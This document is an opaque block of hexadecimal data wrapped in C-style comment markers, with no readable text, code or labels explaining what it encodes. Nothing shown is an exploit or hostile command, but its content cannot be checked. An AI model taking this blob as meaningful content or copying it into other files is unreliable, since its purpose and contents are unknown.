244a5adce430fc371784268f1a25dc0c90018f9b11d3d2a8edb8ea3804d142bf3c6f21a10ae9b08bc179e0c785847dc220d022dadab31bef17a3d652a721244df2c8011dd25391becf144b17e3b708ac417971eb6b1854dc1c9ee686ef3a2723ae0c90297ae8e78a3e0d6266a60ebfd59ecf50902270b04c422a59a3d74df150e6d779422e8160f4801876ef55bdfae026c986554d38f35305380c668bdc701dd613520fb868f27c2be8de59267f4504bf9464d71060fc4219441be11743716f447fbbe0818da970e0d79c0f8511f07182f8b6576d86fb14d782dc0843af77a451e83f3e9545726d5ccd5763b21750653387736f8c1af5f99e9edded125e4094b76916a164a522d757dead98f6dc0837e599723da90dc5c34a644e77abced3fce7f018f18adde5d11a061de4e0425a53a5f5c0de7c46766352e02c4f39a1ed56f635d4ca16c8acb7130f3bf4803678fb05f72adba92769d9a72d8436372fd5c13c4b0489923cdfdcffa3ebe2e1996ef0fa23b6ec69b1f713529ccfcc8aa75f1c5d204e796596eac77c92f80e8cdad27b48608d88420b86d39c9e2de59d12a370f8db09c701ddd5c0812ee1d61a441dd32856edf3f2054792bc632207c0a02bbd9a93881409d1517490cb7b921a3f842e81a9ce53bd2741ba19f0283704abab3978483f4bce69897d51d20bcf752b78cade5bd68865c5932b4f782624bdf902fd5d1d8189553c3ce9972e71dbc101fafcec2375fc4a8d88e673cf0b3aa9dbe9a8ea218873312eb3bd06915070a2684de1c083233c7f3075107b3e1117110746c161f2ec13a34cccf289d2222159a090e50d4516c09c06f798ef3eebeb4fef121a1e5b7a2e27834496ae204582cb0ece7b85d6010a6f5f6368d206ed4321a7067cbe6a49ce8c29583a9db1878c8b0438bd2a388b50f9d2eb7d61d10709c814bc03c3769f3caa800b6c9c3b077a9996b4b20e234730e1cb983ec41fab32caf3b011fd30e1040d14ff661030851860c6fde3860f90c73b289995646266b7f760d76b558703ee7a7060d14cb50f76b6dc3d1015cc3d1315c5633f23d2d15ce7a93b4317b9bc92940972e830830ac934822fa29003937598e762340b8cab86a5907055b15d92ff5dc0219c1fcbe1dbd1781a3ae34d6b0b46fdd62df64625df66f977da19362da022b31900767a64c5572e797f3c757c4339dc012c6dbea5ee7027ab5281690ec3031598131a6ab164a0297d00971f65aaa68297b35e7aba7d34802ddd64f0186abed7e61059dd7587926dba38a13ebc13aa69ed65ef16ae143aa46581f23d0a7dd8db37afad840bda7ca0a44c87f5fdfcf9e6c32929921fc8dd87e26c271954d74ce3750eb9a70b1e38a59699e433ba3ecea620f513f8b71ac0*/
/*9f027201ea4bbf2a6752ba325b40ffbb0d86b6f408e932bebc843117f1609ce20eaa11543e93f95e94764d1b0cc9b83bb9bdd9b0912f254c6e6fb6d14cfa60a78ae557e13b53f21484503dc158f16acb2bb0ba6ee9433999847e06eb9df0d14b6ed52bb0a8b9e7db8f0e3e4a5f7629a23c3d027bcbeb9580113b1ef34bd3cfb210ebd10ecc40138aa3b0ea48ba5b89c5143a1328931de3f331617b7d00cf71fc6eb83f7cdc4299667cd568c4fc100cf7e6ac961d03dc59a59f6c7385b38d0e766d1a8311fa0c798701a6d0843a358f3b50096d5b16c073de669e1c4f04e1f3d9851246da9dcc2cd5d067b69529b69f2a482640ee3cddc6cc0627d270f5e0d4b3e4aeb54e26b790925753ceba266fe93ce89433f74ecf287aeddc3c17a0e14e8c10615a063cebcb07ba0db2c3928883177e384ec548cde228ed0b90a64cf61d4b52e957ee44c59c1da61b1ecec580378047108df1fc2be02deb398acfcb46106242fefac871ee5cf6cafa8404be1cd0ab6e44efcfc49d610fced2782ae31d054f515fafab28250f0c36eb6407a9b1212a608bea2246c08e077b67cf7bf99a79c50e6f95117fd5c108f8319a8a2645f973415edc9d8282efb16c3af6cf6a6534fb604eb1aeb7ce274dd50eda8532026039553fd13f677ad46a797fa65a071da636bb13d083d9225d2a2609678848177483ca30b2c7b72237f7992c5ef94a0eeba9f2e42179121db36a55f9d47bc1ab4d9078673afee5ef7b45684837c790a7436b33cc4642a63cbad6650887f86b07ee536b175d65b972cc94b549a680aeaf6cfca9f7eeab202ab471aede544ab79a43fe37fb1e716c24243a36a15c0cd9d54086f50efd84393329ef725a94e68655e955f3d5b1abb682a98a8abc8b71cbc5b429e2c03bd0a826fa78878d6fbabdf1b54a8bf17874ccba62733a2e192f83a12dd836d21985de5d7bea1e0c8f57d2e03613465f23da896e81db728ba745ef39f2aee5d8b1e7e29efbd29457a3283c6cc646d3e266f0b0a7f74bc0660ea98c1c227844a50cdd0e955adc48ad8ed63f38893044aa60dcf5fa1ba9eef1a94994fe345b0c2a0b09cdbd864bfa07183e9c258454318756fba100f47fbfa583aee2569880962114094a013a494b9337b0e338fe2281c5031366bf5cdd0ae07faa5b7a1374478b5e9068f449f3358f269d5707acb1c55ea21d4786fe65039eeb6fc5bf6990e175ce5b16d78a79ae6313f1820fc83bc73d8172fd1255f1a9c943d385b9fa963ddbb39efcac80945c60d08eba94d489f95c4edd4e3372bbdaa3a3bd53d4297ad4b1431568c5d7ea88ada572fe73dd012ec2f923c9d67f5d5e5a2bbdff1e402da7458c23b220f43e5dad758a4e7233692450a5e709d713f26f45f99014b0a2d34fbd36f8f68a272d393c4f7aff13206c39df9ca8bca3142663ee79e809aab110090547df023bbf889f7b540014485510676419e550fcaa2dd1e990bc5339ce89a32c74a57ba14b982a74fc39aea57b369a47c92374db2d1d089f76260bb405b41fe1e896b103afd514ab5724563f762a12bc607833b3b2195842328875d0013f563c59f1a95302409dc969ee3b0f3004e080a5463a120d78ac8c5deddeec14fec4b1968e0a8932492489e6507d465bb10c1ce6d6e7fc685fc16d81e64626f0c5975ff00febfc903066b83b6dfb0004218ecd5222e376735d0f9aa38388c8a439c60bfc272de45bdf7f89d5cd68ecaeee519bf5ae3d45cd9a013d1d4588843f37207c04642d91f9207a09638ab2b9d0a44cde6241322584dd38d57272f907464cf0d53245750068bf69eac2750c8c426f395cb6108fa8314cdcba4d2b0f744cec0ff275635ddbf83a6329798711d4a888bbe1dbca781c29d919139da07e625138e51bd15967adbda3dda1d311176583578531223705e432e20d067e481653db20ea33a785f27515b9951973f624712c765bef54bb8745dc69861c34cc55ef9dea0ae54cbace28c954ec07bf1fc67f911861e3949b5ca573a3e30ee4e78759b6a728dc3d27ef7c432249103014ee9d9d24338869c9c4c46f3c2f7d499ef570f9804d4df51a1b4189d53e825e83dbe22dc3c05600e72ae7184fd4c9353bead85f27128103abc18355196e3594149124ebe916a15e335e6cb107be8f6453a94fecb27a64b7501bc7a20a06ec5e4af64e69d56338d79b5774ba27cf84988bb0a40998cde4e73e721b1697b82d87db2d4871b8c841cd2b5c1a107c7ecbb99903efc54ebef19e7af50e1f0efda160e8c69c099da53941799a9331100a7ff79fb07b52ff22c4fe27cb75938d6570ea68efb963bdaf4ab868d6a1acc7fbef712407698614658be036999f8b23fc69de7a6bf1eb32e8acd80165747d4fe4c04a60e96fdfd3732805a3dd08829ffd499e3081969c794e51687f20e7830fd37b1723d82ec9d7f26a87a83977194e5d8814878a1e9ff980d654bdae075d9b339c8080f828ab1fab9625eb213c3108fa12319dfad306b6c4bba0a102440368d8c383e441742dfd100b3b8bd4745e440c3d60445aa1789aa03d4273e8e1e112d1a3d5a1d81a0756b5b5f6a7896d3dea631546b7db37a348e66ced9c5cfa7586fe4673fa1260c843e654c44d4b691e4c3be5c00df812cbc4240c441d9b9bf5e36d2ae9c39c06d44a8b8e04cf1a7325eca329f269abce24b42936be46bb1496ae8944d082acf7a376d22e8335120d5dfdf8ece83cf17d7494a823627704d379780a8929dfc75a98e362b084f8a83400f0c4b2b98b600dfbae19334ca14bca86380d1df3963cf080a1fa7d33537d007dc61055cd1f55f277d1*/
/*e9f1d5884ada1b8cc31415b9101f410c8ee0d037b1ef54db269c492df45c3dcaebbbfd73e3b91e02aa77b1bbc25f5c9690926d105d0fa7be91fca6c905362cc846c51b44a5f0fc888e58ca838dff22eca096e4c5824534f3d9da96c0e1900b474cb7ce1c91ebcd42f4c6f7bb149b41c0b8d532670d540eae02794e57b8745b99872a7e566e3cea960dd01f18e710d43651d6e6fcce7339c4cdb32db54c84a77a3c0ed801249cbd496ce5f42ca1606e23f235bbfd70221f8da2d93344a4389054e8a6db3e9eb92dd3c355232e4becb2a388066442608992967afb1e02c6ee7d2b99aee72241ce70483445a8e84bb4b964daeba256bde3b8289c2689f2baf28d6c6475dc8dc81b55e514a425242d2ecf328381fb46d0a2701fcf113121899acdae2c3400a3d9a0ff6fbc7ae5029da20d4a6467f3440522f6b42d4ab0da0eda23f0b69b48afd82f40ce43d8e980c85b0fd7de8567b90d0af7799dbbd83e089b108139e968be8f9acc5b49d26db2e1decf4d2127304c6a7850c5371a2a3c370529225784ced3d6f890af5ac7d112e2a5850f32c3e76198e61855063db20f16e922dcad641cf276a6b699f00b6bfb2a4667909b4e1a20a2912451e56b82bd67ea63cca058dbaac52b4d0b19904049941fe972f05063e7f9d20800429e569e2e7e26bbee46cfe47688f1000c4547d7f756f008a3c7d4554030071daff5511ba600b41246a8f29f04a500720e273508700c6d376c1d8d40ed340917d537213dc2e346aa70b62880fc38258f3ae099a1cbf1d896a080385ee3454f64bab5cee650f53a2e9fc669ab6b580f54fd908fd235a5f34aced8be469bf5382d3117e48887c1bf2285634d52c2a8369ffcdee438662bac2e703336e8fb6f5df0e6a6b915d95c2686a5042f2e9170979ac22b30feb5676e400dd38c2150bb2c883b1e0adaebb7577f316d222dcb70dc1a5e314c44a2a3b05980092b2202294ec6c8bde8798278c167640d03d49d7c0b05d83355966f87280c259bc78625b90d4ddf7ff782eb1a0018a54b409b3dc960341889ede39d220c0b9ab5e948698bd5890ff77577791eac079718e7120555348e97a26ca77ea52f0d804b90e5247078f2bdebe54a99f41bbaddb35241ef3c6fc2e6818f625d8f0b6ec40a12920ca600144cd7b476f1d4bc702881b232e8a49e553ed79f343252fa20365bce8dfde53e9389cfefe929b375d3b2160163c1d4d63ba023625ea23d2db5a77711dbdd25a380e67524e8f2f5215f5d1b024a08e650e2c9cc04a82f760326729a8272a97cc7648014150b9ec94709266c34163f2f166dee2d8023f103c27cce6956c87e79dc4c88f26058f567ebeadcd2ae8b0c08979559ae5a55cc079cbfb2fae27f762cfc8f436e747eec3ea7f96c59a969fb72452af31c1712ebeaf57a0ddc49b22db11cf415393ce557ab955216f42ddbd30e9751af3f771c651f8725617bfb844e6641b8a7661df5da9fa8337d703e7d3a54d2de46a4055f2323774faae9047cee78366217e140352122750ba8b8458afacff14e8930cbea4c215666601bfd8152c64542caa3d60fa90aca43778e26a519df85432f3c531cc4652d3e09d509ece1f125e9592d845c0f0ea01e9a725319ea3dace3daeb7870c355f3bae8707f9b19cca75e5d2d59039dc21af459be00ac7cae39ad74eac1d066dcddaddf97808feec023e5b455c611989ec9990ebc3c17d82460e60d612cdda98a6a0328aae13e5355839d27a582cd0ec44d39ec4ffe6e0b2ef9cadc601d08e276233982b0a09681be9858c216f1ede0174c1db7f0bb945b1336f3d6f9c10c0496d07192913dc00d0c3927b3815877f8f015beeb01b7c1bf87912a48b75df1093bf9aef68322c287014f71a41f2f88d3a9b68b2dd837a250490d22d14404a6d550a0001481ff5d0c6a5ffaa4f48b86658a2ed41fee96366910046ec7296d8bedbd9fbd2d6c5bec184822c7ba09935fb3c826bf0d58d0e1c6d281b9be16852bd7697d27bbac9d5d4fd2abcd23ae7845312486d24178d35fd283124a93510d1e4289a6ccc9ed0cd84a4a7219852d3131b014004c05fb6e5b8337bf519808c57406e9e8601407165e4da5126a6122ced6230803fbbbad2fd371f81241255ee7b8bc6c5c821ddb5a459b60e1a347aba9d2d5fe5d38a2636aecc42a480e69e121f1067a180645c057cc41b922712571b7e3dda820691c859825b57ad97cda7a43b7b1addff09a757cbc96f969430d2d02199d4c9b0c391dfcb691653a4c39e0cd002ff65c0b752ef4e6526a8db3d7c2118a37bf9833e0544f8f8b835444000482a32239ef4e4e4cbe5b33266a0ae44e293676b2d2810c6805dab7e8d1bddb443bdb9e3064286415b27d9c01b2987761d1df034b0ddd482867b57093033773599588cdba6d662cb3b08fb1e03d14518253181a1e5116c65a85c8c9aaacb231c2e148b5c462c1ba323e473cf56ee9ce135a015f268ee9c851c3811594ddab1852ceeb3116d74ccffb77f42c478dfdecc817ab30f7f71430661145fcbd6f79893128886ff71d7aa8157228c9e426da6cdb3932db4e86bfbaf797d7a28e576ff66e8c300c146105b6d60708ce67ad41f9d18e63b8e1482afa1e0204025762f34f7ac8943dd1326cb8a0a66f5997b00af717583e421ead2beb5945d922e44e41b45d0b6cdf3e147118a96845d6c9a795ebf0cfd8b476c2eea9945ef84eed9f10a86428bbed4d091a884c251d5b011823b0ea152f339edd372bae8dec0ef85c889101340128836a420aa00dff80bdfad16d0ad356320506c7b1d670ea7a71d165dd45674898320df9*/
/*05c2cb7112d1ff61c110fa8197bcd707ee541c57bf0ed875c298ef9bc95132af5183e37b8eadab826c4f308a10259d54cac2b18f352fb8f86eb6a68940b2e667bcdc2735a4c681576cb8526900b3807ab76718052c6ce9f8f26d4a892c82a315ce5a86f69f01336b2ca2995dd83bad9bc5786504a66f4820e1a642d159f6aa981008b9b306ec89aa65ccc4175a6c4f9f2ee11ff559317721363390138b4250496bd9fea8ec09f930bac6f634f915ed1bf0584ac4a60d14984ec0a93c8a324e432cc6b2e2e8d74a85c41ff134b445f21123e1b8223bbd1b9dcf8bdb147a528fdcfaf44a26eaf4bd9b65727448c1f689d3f995bc89750bd17f88b2a516f81e496c60e9657573ab9c91de21a35ff230b02a9583598887e1a62bca3f0cbaab9c5804e6646c3f8a8c2c4c9c44d072f4a6ae78d365842601d522299d1f05df9d09a66596f1f9edff8f9bb53c8b77a8a95575dbba966fe12bf58f5c960c73ab7fb4da1978458a7bd6c2f48ee6bff30f90363f5157b8631d6e8ed18db21583e2b0ed6e4ae0f3ed1a17013a3b01d3a62b92311a573c141b112720cb5894ce014e60d057eeb3f8bf1059881aa40d8c764720dcca27d9670b397f01b5a0afb191b8f0f23502d683fc31bdd4107c0e4ac0b563355ec904a8d135d5275b649f0bd398e306cd3364f254ccfb7099bb27a969f6b94281b9c84e21a2faaad940b046ae27eb323073705c7864f307b648b0a699d638a8c804e33d1a13ba183a437fe692993f6a34817c7dd36d29dcfde8add129813ac92c764d18a30a3d58e2f7e1962ed0562fd82b467c60ed7727b0112d221f99df5ff63a300a50f207ae27cbf03f609821c6614673dac6bce6156ebbdf32d9976eb1c2dd6845b6cd2f07dfa0fa36daf717f439d08e804b71774a50a431f2f4be1fee8632cf9fef7f89b962aee4b49ed32fb969b3a0ab3ccbaf5b7724ca244bb2c861774931f2a4721f94894ec1699a92d87c5fe9ca5db3dcfb80da3180990f8c997a4b8f3447607d9ba337b2a89e2de64718ffc2df97c3bd358408c6a2f17b285c0f99fc2a19d8646e094ec623c107e4050b4e6da632370ca36314136b5f98c3c37475cf7c6b8ca197c8928c0a7d9e14b76ab105f4653b700ff00be7be25625f229985e8ddca550a19cb2dbb682aaaa314a57f630def19581be156a0f1c30c11a3537a37bad865305ecaa55b7eddb0931a79480608fb5d6678adb673cadc33862a1431f36aad7f26a8577408d399cda6b3b9b7fe605f954048b4d8694cbc923449deb7cf6eb07b24f8daa75dfbdef762e2fc5583c08f4bda56d16c371a69264e1e320c302126c7395f79886535dc0bd0c4f117ff85b6c2354693767a0a081804f977265a723087b1c9655b3af5c4a0085be6d8fad2b3eac281cd90781303bbb389de8c6e4e75d645a172af991fec7c0c63c1d6121b1c99ced2a96e12be9681a3a112f6d63a5479d787f5510e8dce94f1435fc9e532a34b2369bdb9f62ce5fffbad91c16e1cd717d16071a75dfa42c3954b595225700ced6bd79f035b23590dd4a77231a0749a391e3921c29a0fd4f8c096cb294b4517634fb534670c43be58267a5cc362171117f53580bfcdcdab8d0bf273a041344a16f791158f475fb6a00f286ce171eac8fd8ad6be721a52c32b95181a2cba3c52071bb58c5f9e38cc7fdde9b8a862a48aeae3bd4bf87792ee1d5b271f636604b518ebba5b438a305ebc3ba6a12114bd30b035a5fdcd22a939f71ec9f13c973e850537e63453837b89a99b42e67d6991708a57c65c76d3f3713ea83ab4b326366f5ed621824d5912c089d609c3a4b655331366f56b469014309289f27fd923167913b461741f9fcdbd98a6d27daba3c7a6e786b65e4a366fd81fdfcffb93235996c51862ee7ca9123f3b7e7182d0e85be16c4030698cf76740ee766756a40543447084aeab7277199c607e4528e66d994d08a33a4785c0079ad4bce221032ce629e09bbda9d65eab55a8a5dfc3908b664cb0ab766f6726f37b7c835c02e963f6083b73a700818deb25ff0770527978f63be4b9e92e2755daea621108dd4b445a844bde2e61865a16f6f401412b71b4099d156c00f2f67ebe49bcfcb59eb6b5c614c624e53f1fbd351a3be766ad5b74e24be08ce07c8b8da4b8c73d70482293eb34292ddf58e84592b728264506c11380818d958528f53cab820eb71e97e583ae00aed37cd2865d83676a6c48b65a503a4ccadc0c695fbe3e1d9836740812751e823dcef83275a037ac4284dee7a13c2f5a200604c61423f38a8256da9881c33622fb6e61206d9b5dabc3f684589ac2d6aadaaafaf3dcec3e6e20a0cf5fc23e2457e04f7ad9f441ffa74516bcf52c83831c154737e9183ed4ea8a2f524f91ad54ea992a7c51a170a24f4b4292e9313189eef2c9fc4278615eff747869aca71f5d5413f0673e73c64aa0e8c2c2ea493daa2ecd546621ff45329703ca03ee7ccac5155383250dddb14e4e5e2ea497b31d6cb904f6494382a925b6c822462c5c69255c88d2faf24b692deef967c1462839ecf05c2bcea864111a5988ae104ef6cf7113e1887faa551a285129dafc444287b1cfe17ec911877d8d474cc0077703095909a6d340aa8879afd57959095e1802957f93a1abc4a107c090f43f53961b32e1efa95f98ca137c9521b07e44cf5e8d54a3caf6750c6a9564bc6eac6f370dd0d63f5e4c500610812c7aff20ffaea6c9432c3809839a4243939823d4cd0baa7b8d608148c8998ed26b9e5591bce82c5b87b00f063b30653d546f01aab6ff4603e13c13dd8ac52f8b867476140807a9a4*/
/*e271e730102597fb6e2d0c502ab5660b78491c24b66b4758327de146c46ee189a9bdad78eebe87fdd52f46c55813c1b138fd3f2390f4febe64097a4ab9ea1ab990c7d976b348a3b2c0b096ffe6a73b933912494cfb162474b8f1b66b13b80e7e29ecda4b4459fb56d08c0049d14d19702eff907df74ea3cf60983cb53bf221d929957a7f7ec95af056c456b15eb3c375a5b9030bfa5569d86d819a3d6a0705e617d191b09665a306c772e75eba10de1bfaeed94497c03bf176cbe304087090b7c367c2404fbc2f0a68585d32f5867b000355ccb8a3495fb5280b59207fc53cd1029f6f9f8bbab7a82d5fe5630c0b465076a891c4a466b73dec39df818d9d89b6320c5486e4d256eca229fd7f296ba51c0520e6bddd7c2f2478e0215d16c71df640d6180f8439d5fd8b4b8f0f4e6dbafe89b91daca7cbf468bd8d2efdca9e828d9cd057773cf283702f4242457326527b4d448658784a75f074dbf0ce4dba297162c23eb38939680a9cfef52cf825c098ebd9b1c725274793d9f595f7395aaf30a2e5bbdf762b5ba0f135aef83ee781afc08f20be75d80c2a1cff0e306375742adea28b7f3b1cf1deb8c1c8579f17450c6461a5e0239fa151848e763f7c54e2210e9819ffe558cb5b005d7019b0c967a8603f3ff159b26076e777b16f874ab7892ed89911ea546331b8a18351ab632b8a0b96146e41d4f19d56b2fb258bca6a0b51937f17b3d7e92edfb3798cef57d9a0119cff7d655215e71e64f80333da316fd61355100e0126e7d5fd8141855a53331d64138874cc77d9c296ae8af078de84b8236b8edf7a54a82fa8528bf2b9655cdd50031ab888ccd7b9c7dd673bc581f804c8aeba5fdb70d7b4b54fdfad00f52b8b38bb24caa411919aa5f8b0bffa1888b6945ba0244a7e513a6f3b67159f00583136500c5073ad1b94266c285d5c2d94a225f69aaf385f9ad2eb82d7b048566bbbd9de986475a7e177ddd64282b1b477a7ed4592aaac1246dd2cce6113ff6ae73066a19d9fcbcb7c1693863faa74597ef6ab3670df6351c8f2e5ab84e9644fdf6c13b67339ad75f01d708ce731c07d5be7469afafa869542cea5646f0603d517e8d5662b3f72e461861e68a3542c45b58d73d0a58a3142f967fffad5a3a922cdc08598f8f23e77bc936dbdff0c14ff65395d3ee8fe483dc7968d6ea15c7f43cfe7d1c9562f6a10ee8eaada76034dce6615130f4e9067eb3f845f0fe785ab811532cf129f770d4704cf43bd037e14abccfb741a3cbf3e058f84e045e5ab77c74622c654f8c3776d13a1030ad259711c5970f300a2bd075fb92761c09be7a55ccf2f43342b234f4fcadb612e42f175cb4caf41d7fdc24ab3f2524e2286119fae890dcc7bec25a68c5201b650058e16008e9e74309686605a4e835ba55928607493a646b3a45da6e802ed43aeea3cf547fe8948c00810746fdd56a7c68f75ba33792ab3792b7940fe37e7f7aed9d46cbd2f1c7d2543152396eddbbecd2509b4052d701fb86f01d824c565b0630ca60c736618335789a0b96ea15f31eb7df287932a3fce28c5285d8b35d5683ade1bce24ff09d3b1b804b1e8d04732ecc3f9a9e4477ada1b12cb19855454ed2dceeece83c68b2dff86ec4566bed856b298da4d66c99493f2f618e4862a1ac7c6762bc403f434594eaaf5c82396d3e701070956f776ddee15e3448bce448b24717281a4d3cf2839e106760d2232f0ab46c1d061f03a8378c129f21db6c3389b3e30209b6f943252cd3c35571963377e1977712d9c0b6a467b36e762c708b0e7d871514dddf701f8a5897ec87e741336785a77e17b5b64870ed6b832f96f7149b07462bdd96ef7100d373f302d0a6bc5576022cd3454c3ea5c8505b814027991cb775e5807deae42a873658c6d22f9a76555de04407b7c41ebe5a8ba6b248ed8fe67855899cefd6a9b214feedaec4ae541df67222027ea2f53fd75773fa4109aa40a42b8f5acc8380a0a846133981dcd08af0ded9da3642cecfaa1dfeae0500b937606673333656b47e75f94708294565cfb606c60b9972441a8ff27ab8c7df5d5f8f797974f6f3e8e50d95c04f3c41072be3803636ff287d84b34e07c0d58eb23d20cddd6cec756afd7da267ec1d22f6d4fafc12431eb3da7335d5dcdf1c558ba0c464bf6e4428aa05fe5f977c75c452042bd9dfdff8d9421964ac98917fed0551b3cc3b5caa224aaf49668e11adf00c75478a815831e17c69805ed3464227760e2dcdcc18ea934a035a0a9a4826dae106b91f7c9dc850b0ca3c3503573c9ddc30e6a69636f5839ac5e67aad73074d9f3d120dd4cefc93f3badbd9388330bd14154334d8f5f898f006f001c0646144eb6153dade22e77c815aeef18d545246fdb71edf8c852f3d85d931fde362df48a123c74640df5bc2b0ce866225107132dcd7b32b59b33a833ab6fd3513a285815487b044be91a1163d30e0a436ca152d834e5c236cd6301871a01c32f23fb9002fab96a485cef25f669c8655e8bd6c6b61231a940a52232e24f032d9477186cb799611a64dcc749b5f8ccd237670af9dbbb7caaabf3b0b1d4260c0a40f3f39887172ca393b4818794014c3cdb74beba47ea8cbb1414dac630530d1c3e2af1fa47c2b92ae114029d0f643b7544c4e33e3ad36d936fd92ee555a1690178892d4a5fddea155aa99da98de9e01a77825106fd6411e4387f123275e28581fd4c52e561b55e1166d2d842bf44a1873ece0e912da0b505fe8733bd4bbb113533275c86bef4d09479fca93314fddb2794cabc88db184979d99e7eb25f73c7b770688c84edb0e86f6d05d2*/
/*d150ae2f33cadbde6dc1ed54ad0c16b0cbcdd8a58f8d50538a8cb5cc4a6b25547d7a6012aa4a51b0c7793729ad70ce5573b03242699569fe8f3edc316db63f3c9aef8ea21094c7be2e40694237051f6ea8e06acf399bef46922e41bb384f88c89a848897df0f6565d54e2b63512089c56ff89e6f57597bf5d6993eea0feeb7deb4365a7d69d5b100bae953fa23f1ec76ac5a9155fda0ca967a2bc22b5cf2c1009ee30f989d21e2e2b8fdf10e5d0e3e4baa770f43f4154b145acfaf724a7fc7ee6e32b7225f806d0fb52f7c103440b991c9d3ccb1062a45ad94ac483513880426c9a003a0994b179890ddb103cd9bba75e4f5681818c7eac6db2122b9dd647b6d42b5885f51748c19a8bc2cc6b91fdda037dbcaac0c93762dbe280dea2a9c42d221c0e29253f3f7b92d2d20985a25d63166df1026fe56611130fd3dff42be703e7fc572e45702853a789caa37fed0212301586d37171cd521b098c62bb8efcd12fcf782d53c5fde1e64f720aae1cee7293a77aff8626fceb570f81bf1ad7fb2a16dfe8a912ea27d4d93f8eb7a697684e70a25514b542615be9fc4b77ab6dace6da22374a6410f22e925220008ae5b31bccf324ce4103f22643be77d2d6178d300deeacc190c56cb57950c17a34a8dd6946fda4155ce59bec71ff0fcb2842475ea2dc882c99cf2ea80efb10745c0511d251e8f5aafc47bdaf8e77022a474deb0288fabd889235723699215dc66134969ea1e991af51cd88c826cfe4c41a26dfa2489b54246943f8b74222206cda043c374617238374793d7ae86ddd5b3796e561207c5a175ff5c17a0b717335ea6ee115a31ee53fd5f1ab498aa2f058b6d3f38f5d3de27751610bffd66d9115da5d761e95912b645ed20ba07bd2a72b3933d1d6cbf9c18fd7895c6be4ec925b29fce0b135b4073b00d84b1fdaacd01d9f36f72e8bbb34898a9baf109abf8e02a19a0ec61d9b0451f45afca0f6e63469a70738dbc5d7759453451b1fb6ab118fe65af93f6449b45076d8f370b9a33b4fe4444fa98d00ebc8f65199befcec9fa7649edc3b94dbde78d0d139b148677ed367245528bc384d404c76243e321ad5f8ee7502172d5387819e98e086256e6edd1bb2769db9c58f633c3676cfe88b0b8e62e015ce6fe681c368732d4e19e05c5deed98ae2b75f7c97d75a4c8b4c9c9a8dddc7359642f4fe7895648861bbdc8a0c91cd0c25f7589de857d0bcd24bc746d7515033ea9325d9ec99523a40df4ba6265a09ffdedf7790ba8918633101ebdddacbd70aca853d7538cb5c5a0d2b1c871d3a3691a87e9e4e043deb23d35cf29ed8754bc2215695a0b73cc4128531ffc88a65ce11c01f9d0c773cd9941684cbe6e9c9ffdc497697157d279fbc92a8fadf9b9f9a6d51a9d13fda7fc443cf23c02211ceab5c6b1d6972cfe42fe8bc17ad03d2ea68c76b10e9201493bb36e9766d66a0029d6c709580f86ac486d0a8c4b281602a3c75c7f410d2ea34d9c8f3c1591c41f0d2fbd30621e9ca1230eb8326de3efc87f2b2c0edfc6eff6dd1a2712909565a0b95002555d29dc91115b9b764ffa50557d2e9b3b1c82b802650b4e89b958fe5893b910abc39f07d330572b7442914037ce3ac51a5476b4f3bc34810c322702b40a5791eee6e11c4478a0c4418cc4329cf2939a729980a30d9a5641558b5239b53816c9bbc9287b547d3b7bf0c8b4c1bba3cbd14e8e27acbfea4ece4baf52c0331c1738d889346e51b99a8c72cd7bcc04379a7ba0bef03cb399f98658242487d92a52ace4698a4a4c4f12a3e30a21e2f0ac51f8c7336a1830f8c78b74d2f982b9041a456019626014bd112879564ca9304c14c9e5e50ca097a441e56d4d491a0eee15d4249814cefa721d716eaf4962e51433eb251efb79b80ca18615de459b2f1092debe3fa79b3f9632588a2e822626337616c3e7716f11ab5640e8b6c63c59a3c2977939f0a5a347259550c8e58c4aff64a5e458685bee526d3e0b92a9d313f452dab2b5567039dd96e8ce131ad22d7edcd9dee67333d3d94a4c43436b6ebd76eb00bacc4363104041711e251110b260ff67f0fdbd56a4a0e06d4c086c0d0530d62f5c68475681c02614ff2e23ee93b482b0b494a6f471bfc18dc93d1eb7c92742ae4625805d640f4b4885597837b7c4c95fb48beb463e120aa26bc6ad78ea489bb900ebeda160ba16776a8630bd2817e3847f0777adad4f31af84e3199f139bb09dd9503ff5134de0128b720e30b3a79d13f45d80c7f2c197c601c7c59c209adce328ae7302b51f11b029d2d915f15642f52d6d583cbebaba1cb7486d6939bf9c5303a3d4de9b9ab6fb57695ca4ae6ecefe168f2aabd70fb651ca1e9093a709ba5049e85abea6e0373c7eb8991e49985a221e2660993a39db12cc05f942961803706ce910d908ba1c383eb9be69778a97d37ec722a03d5d626156fb8ab816d4b2007b1e48b54e5a398e8edfbea46c4e59939e1110f256c35ed1d312e217dacba93e13071fb9ce869972d16a16389867b7a890c07211739d487c50eeb9ba44f21c7b2a6404ebb7578882fbd9534ebc7787b99a0ba6d6c4df046411769fd2af122fb72eb3353fa9032f0d6229b8d88c0e7339377ab993e39ef1e49bf98f9d3f20c5fb4fee36278fdfce464a82101c227151857ed077b76535cc12c085b4c5636ddabc52d24a1c3ec116cff476aa82de554eb1fc065e8ad910a66184889a74a9fbabef247ef5439a4f2e7c8293d100283ab21ac35038df0f7bac1bc9122a342a2f40745d4cf6ff8e5971bf9f3a35c328bfa097fc5b787597131f33f02f4ebc3c95477d6c*/
/*c4a2609d828c71756a8d8d943b34f502b65c6a61f04dd0ed411dcab26587fc40f0cbc1afddf8ec208a3c56eb54dc78106760af1c254129c5557bd03cd4a492126550baa3c7a3f7ba027ff79b60e370bb8f9223cc71c481f8ca162d6c9ce2c9a1c86eb555cbd64ba68bc8588758e16a4448b2ea71abbd6f6c7e8b4bd2ac9aaba35e3f08a06574d7d990385621afaa9938dd2749f99711829f9598dcf1c71b03fe7a53683cf0bb8eee801dfa522f50db00ceace88b01fcd3d14ce13ea3605fd5140ee8f7135371986e1f7f0a6bbc3989d7f9d9c14cf8623e483ba41481c88fbc9f9ce890cafdc54419f68110f18946bee86a368b4dd92297c0005a3139c4a88c3b053151624b1f2e39afa3853915496edc15600aa3970d91c7af63595d4a8b75423550ef929f8e10c004af5afd6dfb7f2d185f364ea264f38376fd8496feafed3b6d23d36ce85b75c0f4d0edf4e5dfb66731235d5d65aac00bea3109612408fbdaaabcf53c7a52fb37079cf17215d6fa47ca18deda42e933f5f566ea26a8e12e6b05cf9571329a41f10823721c11ff53293e15105eebaa736185449358906661a180ef5dec6f82e65adc18d54386865fe3796fea4f2e8a2d65796f904e2d7f1c95bd5fbaf513c6149ed5cf2282e44917071961b1bc005e0581785e6b9ee3776bf1ac63f8485080274310f6d61c58ee13e406c213effe1c883de93e1a3d0ffbb412a354d90c3fb1f10a4907b2c0de75d39002ebf115c8f4d5a9ba6daf264b56c8fd53324294d21d6c964d05ae9d5f6dcf2f86cd93bb63af6bbac8b3a9c72f734a2758c4c8d7f822f2ec6ebe5963f999e3d05aad462326b